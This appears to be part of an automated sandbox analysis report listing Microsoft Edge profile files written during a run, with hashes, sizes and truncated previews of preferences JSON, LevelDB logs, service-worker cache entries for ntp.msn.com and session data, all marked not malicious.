Size (bytes):	13809
Entropy (8bit):	5.238107373772587
Encrypted:	false
SSDEEP:	192:stGJ99QTryDigabatSuypwsgiSsZihUkmtYDSwvYC8cbV+FWNQwu66WQaFIMYzP5:stGPGKSu4wsgJfheWbGEQwr6WQaTYV
MD5:	0F00221500397E80D460852A1C2ED44D
SHA1:	3A35B486BE2D6D9260C55746AEE95066A2744934
SHA-256:	CC5E1B9D099C72B8BC9F75CE5C406F354916672F0F5518111D84A5226FA75854
SHA-512:	01DEFC883243A8551AC10CC12E2AC4EFDDCC2DE9A441DCA02BB4A86E5337A10E8070CD876F5DCF177C37EE5CD8311F00EF57E8DE643B891FAA6BB5866BF66F12
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376560154317492","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF46d8b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13809
Entropy (8bit):	5.238107373772587
Encrypted:	false
SSDEEP:	192:stGJ99QTryDigabatSuypwsgiSsZihUkmtYDSwvYC8cbV+FWNQwu66WQaFIMYzP5:stGPGKSu4wsgJfheWbGEQwr6WQaTYV
MD5:	0F00221500397E80D460852A1C2ED44D
SHA1:	3A35B486BE2D6D9260C55746AEE95066A2744934
SHA-256:	CC5E1B9D099C72B8BC9F75CE5C406F354916672F0F5518111D84A5226FA75854
SHA-512:	01DEFC883243A8551AC10CC12E2AC4EFDDCC2DE9A441DCA02BB4A86E5337A10E8070CD876F5DCF177C37EE5CD8311F00EF57E8DE643B891FAA6BB5866BF66F12
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376560154317492","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35445
Entropy (8bit):	5.558835066996513
Encrypted:	false
SSDEEP:	768:6gj/h6WPvLfxe8F1+UoAYDCx9Tuqh0VfUC9xbog/OVmMRtsrwWlZgqKpRtu/:6gj/h6WPvLfxeu1ja1itFWlZZ0tQ
MD5:	D2CEF369CAFAFEAD0B86092E7D018392
SHA1:	CF8BA35D4F33305451DCF8AFAEA1B8707E8D38D5
SHA-256:	24D310F19F47AB08F34BD2BDE5FB19A8524071C527439A99C11C9CCB97ED91BE
SHA-512:	E0FBE4E1C360447C1EE56E71C56F47741117F3B61AAE92898449B8E6C1A10FB171AE149B80183B38C9BE950B33E600EF4ACE59960319FFC103DCCF451D1B1DB5
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376560153673795","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376560153673795","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3ac00.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35445
Entropy (8bit):	5.558835066996513
Encrypted:	false
SSDEEP:	768:6gj/h6WPvLfxe8F1+UoAYDCx9Tuqh0VfUC9xbog/OVmMRtsrwWlZgqKpRtu/:6gj/h6WPvLfxeu1ja1itFWlZZ0tQ
MD5:	D2CEF369CAFAFEAD0B86092E7D018392
SHA1:	CF8BA35D4F33305451DCF8AFAEA1B8707E8D38D5
SHA-256:	24D310F19F47AB08F34BD2BDE5FB19A8524071C527439A99C11C9CCB97ED91BE
SHA-512:	E0FBE4E1C360447C1EE56E71C56F47741117F3B61AAE92898449B8E6C1A10FB171AE149B80183B38C9BE950B33E600EF4ACE59960319FFC103DCCF451D1B1DB5
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376560153673795","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376560153673795","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.835246731774747
Encrypted:	false
SSDEEP:	48:F2emotrdD3KfBsFXrdw6ghUrdD3FBsFrd2BsM:F1motxDaGZxv8UxDcFx5M
MD5:	FDF1EB033957A0019B141BF9ED7AEA44
SHA1:	3FD6B51D32A0429A974B36B41806912C357349AA
SHA-256:	D5AF5CE050CB62F5C89192FA444941DA7565458E26F8419F24BD230EE528557F
SHA-512:	050EE3DC0C045E2B088519A8C3029B3FBEFB7F968E30DEDF7FC3BC26BB994C0C60A207A8320E32F905C074A6018490252EB520FC709169DA279932A0C9B1B739
Malicious:	false
Reputation:	unknown
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2`.D8m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.125942072391136
Encrypted:	false
SSDEEP:	6:H62U1923oH+TcwtE/a252KLlV6bFUCQ+q2P923oH+TcwtE/a2ZIFUv:1ZYeb8xLZev4Yeb8J2FUv
MD5:	4CA4291B10A60064BC620835FFE1726D
SHA1:	9F30DC77EE7768966A10567D474CD4788210AE3E
SHA-256:	41055836E99339AF3E592C8CF3DC8A0702A6A7577E1C622340080219C4E93228
SHA-512:	78FD408285AC467DAE424C44317C55BE58B1ABF83EC1569CE89C7968D97720F14DFEF2E7DF1EEC534A0104ED27D410087E9A1526994F368DE79B6011694B9F62
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:23.290 1df8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/20-02:09:23.303 1df8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114183
Entropy (8bit):	5.577910449307451
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKZpcktotPl2z:d9LyxPXfOxr1lMe1nL/CL/TXEmaCt92z
MD5:	74CCF9A4C435A5AF303E68E42105CFD5
SHA1:	A439ADD9BA1A2E31E9CF084D248DE6AFA70589B2
SHA-256:	0AAA4F6BB748F9ECD9227B19B4F1E06AC8652B77F1CA2385A3B19CF0C1172D7D
SHA-512:	82F1FE9D147064618A6D077E771BE6DFD5F38FA65D2E4117717A8D5C45EB2A84986B83CA5AE4B35A1C9AE7F7A1EE4B276D5CF92357D0F3362265A8F2E5391673
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188681
Entropy (8bit):	6.385579636845148
Encrypted:	false
SSDEEP:	3072:n6abD/GpbmV5/wmf+oZYL/ENM4WtXnWotq1D4:zx/wtoCL/MPqneM
MD5:	1C00B15E8A8109000BFAE7B05DE63B22
SHA1:	37D5CD965116800D68E10EBD5277CE8B66559B30
SHA-256:	385111B28FF8553204F460C5F2F6B09221B7392079DF4C6043ACEEFC73823CEB
SHA-512:	AC5A5830C426C7DE02E07A1E5D86D8098D4E5D444A7721F9254D09381A12873AABABA468B4564CDF589D3BBDCBFA6CA61E22DFB47E6D7C483CF5A716A11F0AEA
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rc..~.....exports...Rc.O......module....Rc........define....Rb........amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...F.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....W...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5098568682051736
Encrypted:	false
SSDEEP:	3:M8yyXl/l5V/lxEYxIeg+:Mi8Tm
MD5:	3E9474DF0CB5769941EFAEEB3FFCFDF6
SHA1:	681DA7E825E6527AF8082991E0AC33994A48AF43
SHA-256:	1AD9A7389AF8B82D266BF0D999A6807F8B983C384ECCD06873C84C77468F7637
SHA-512:	96F675FD9764538A3E85BF87D610860E46131543D7D695178A6D12F67C5CCB2F64802F07F902D088A5A522F9B870AE4EE5B3700C9D58EB9661964152D21CDBCF
Malicious:	false
Reputation:	unknown
Preview:	@...y..Noy retne.........................X....,.................s.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5098568682051736
Encrypted:	false
SSDEEP:	3:M8yyXl/l5V/lxEYxIeg+:Mi8Tm
MD5:	3E9474DF0CB5769941EFAEEB3FFCFDF6
SHA1:	681DA7E825E6527AF8082991E0AC33994A48AF43
SHA-256:	1AD9A7389AF8B82D266BF0D999A6807F8B983C384ECCD06873C84C77468F7637
SHA-512:	96F675FD9764538A3E85BF87D610860E46131543D7D695178A6D12F67C5CCB2F64802F07F902D088A5A522F9B870AE4EE5B3700C9D58EB9661964152D21CDBCF
Malicious:	false
Reputation:	unknown
Preview:	@...y..Noy retne.........................X....,.................s.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3d3cc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5098568682051736
Encrypted:	false
SSDEEP:	3:M8yyXl/l5V/lxEYxIeg+:Mi8Tm
MD5:	3E9474DF0CB5769941EFAEEB3FFCFDF6
SHA1:	681DA7E825E6527AF8082991E0AC33994A48AF43
SHA-256:	1AD9A7389AF8B82D266BF0D999A6807F8B983C384ECCD06873C84C77468F7637
SHA-512:	96F675FD9764538A3E85BF87D610860E46131543D7D695178A6D12F67C5CCB2F64802F07F902D088A5A522F9B870AE4EE5B3700C9D58EB9661964152D21CDBCF
Malicious:	false
Reputation:	unknown
Preview:	@...y..Noy retne.........................X....,.................s.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6603
Entropy (8bit):	3.3997349239264896
Encrypted:	false
SSDEEP:	192:rT2XDN0xkTfr14h9Xp+pKiNDN5SLl9iSr/jhn:HYD6xkTfr14h9Xp+UO5SLl9iSrL
MD5:	13662661DBCC2312A1AB838CB47442B8
SHA1:	3A63571D707B86E2EC9BB7BA04629F8253B0D56C
SHA-256:	5A193FB9E12DA7D4DBEC4C7AE42CA7CA0201969EC80844AA8479EC3ADA2A7C1A
SHA-512:	6ED7AFDFCA535B5CD33AE4A93A60E956D2A48616CAD46B2E4C640DDBDA6B30B1734194AE586BE3971F07C296E20CF7E89F978D76B723E88BE1DE6D497BE2E981
Malicious:	false
Reputation:	unknown
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................P7b................next-map-id.1.Cnamespace-7f008aaa_468d_490c_8d39_d9444f52f238-https://ntp.msn.com/.0.mT..................map-0-shd_sweeper.0{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.t.q.o.h.p.a.d.,.p.r.g.-.d.l.t.q.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.a.d.s.-.c.m.n.-.m.i.g.r.,.a.d.s.-.m.g.-.c.b.4.2.-.d.b.l.k.,.a.d.s.-.s.m.a.r.t.b.l.c.k.-.d.n.k.,.k.w.-.c.b.v.4.2.-.d.f.9.5.0.,.k.w.-.s.i.-.d.e.f.a.u.l.t.3.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.a.d.s.-.f.l.r.m.g.p.-.n.o.i.s.e.-.t.,.s.i.d.-.f.l.r.n.o.i.s.e.2.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.,.1.s.-.a.c.t.n.t.h.i.s.d.a.y.,.p.r.g.-.1.s.w.-.o.t.d.s.g.p.r.,.p.r.g.-.1.s.w.-.s.a.q.e.n.t.s.i.r.u.t.3.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.-.i.m.g.e.m.b.v.4.t.r.e.t.2.p.,.p.r.g.-.1.s.w.-.s.a.l.3.f.c.t.a.0.,.p.r.g.-.1.s.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.070858062111698
Encrypted:	false
SSDEEP:	6:H6PaVVq2P923oH+TcwtrQMxIFUt8Y6pgZmw+Y6nVIkwO923oH+TcwtrQMFLJ:bv4YebCFUt8I/+85LYebtJ
MD5:	55BDED29CEB3388F4B048C99116971EC
SHA1:	F4DF734B8B2364C6836053656E68DE5A9F550F68
SHA-256:	0A4FB68DFF4A8CEA16A116891DDA435C4680B2FF41C86735ADB4EF7C39C48A67
SHA-512:	4F236690A09E178D2F632814684BF258B9AB6FED8E94D8F20D2A5878F8691675EC2B67183C8111158A99CB6DDE3B675BFC3B0D59D2C19D918BE572B960B65C2F
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:14.644 1030 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/20-02:09:14.650 1030 Recovering log #3.2024/11/20-02:09:14.654 1030 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.070858062111698
Encrypted:	false
SSDEEP:	6:H6PaVVq2P923oH+TcwtrQMxIFUt8Y6pgZmw+Y6nVIkwO923oH+TcwtrQMFLJ:bv4YebCFUt8I/+85LYebtJ
MD5:	55BDED29CEB3388F4B048C99116971EC
SHA1:	F4DF734B8B2364C6836053656E68DE5A9F550F68
SHA-256:	0A4FB68DFF4A8CEA16A116891DDA435C4680B2FF41C86735ADB4EF7C39C48A67
SHA-512:	4F236690A09E178D2F632814684BF258B9AB6FED8E94D8F20D2A5878F8691675EC2B67183C8111158A99CB6DDE3B675BFC3B0D59D2C19D918BE572B960B65C2F
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:14.644 1030 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/20-02:09:14.650 1030 Recovering log #3.2024/11/20-02:09:14.654 1030 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376560156181187

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8295376920356516
Encrypted:	false
SSDEEP:	24:3NxLyDye5MpsAF4unxznwtLp3X2amEtG1Chq1fwYhOHFQKkOAM4zat9:3NxmD6zFSLp2FEkCheBOWHOpEaf
MD5:	515054D922D17A2A6F64F4E484FDE1B9
SHA1:	F80E59A4626428CB0997CB5205D1E6A46D328D50
SHA-256:	49ADA3EAE24BD9518C189EE7FF44767D35917399F223FBB5297819A387F65B8E
SHA-512:	20ACFBED12BF7271B86EE4BAB9DE78ED323A5CD9E574FCABF884F6FEEBDB135881313744E3F9440DFD313130CF021B5BBFC9D5DEBC08A3307624D6179A10273A
Malicious:	false
Reputation:	unknown
Preview:	SNSS.......Q..............Q........."Q..............Q..........Q..........R..........R.......!..R..................................Q...R...1..,...R...$...7f008aaa_468d_490c_8d39_d9444f52f238...Q..........R........b)........Q......Q..........................Q.......................5..0...Q...&...{98952893-68FF-4A5D-A164-705C709ED3DB}.....Q..........Q..........................R..............R...........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........P..R'...P..R'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.118539632297985
Encrypted:	false
SSDEEP:	6:H6qIq2P923oH+Tcwt7Uh2ghZIFUt8Y61XZmw+Y61FkwO923oH+Tcwt7Uh2gnLJ:5Iv4YebIhHh2FUt8/X/+/F5LYebIhHLJ
MD5:	D73104B30E6A7459F5D5F5ABE9B97CA6
SHA1:	F98B6E2E45F5E4C4595FBF5A3F97A548B3B9B1D7
SHA-256:	9299E27494D22935ADA0E18F11BD98AD05B3F9B97444D7DDBAF35D246005DE92
SHA-512:	30B9FC9D99D543773D57D1ECDA81280C7B8D85F77155E5D1009AC7C2251F69E153ED4B95406396E73D12889FFD02947335851E49C21397FA498D7BE95C9805E7
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:13.678 1ea4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/20-02:09:13.679 1ea4 Recovering log #3.2024/11/20-02:09:13.679 1ea4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
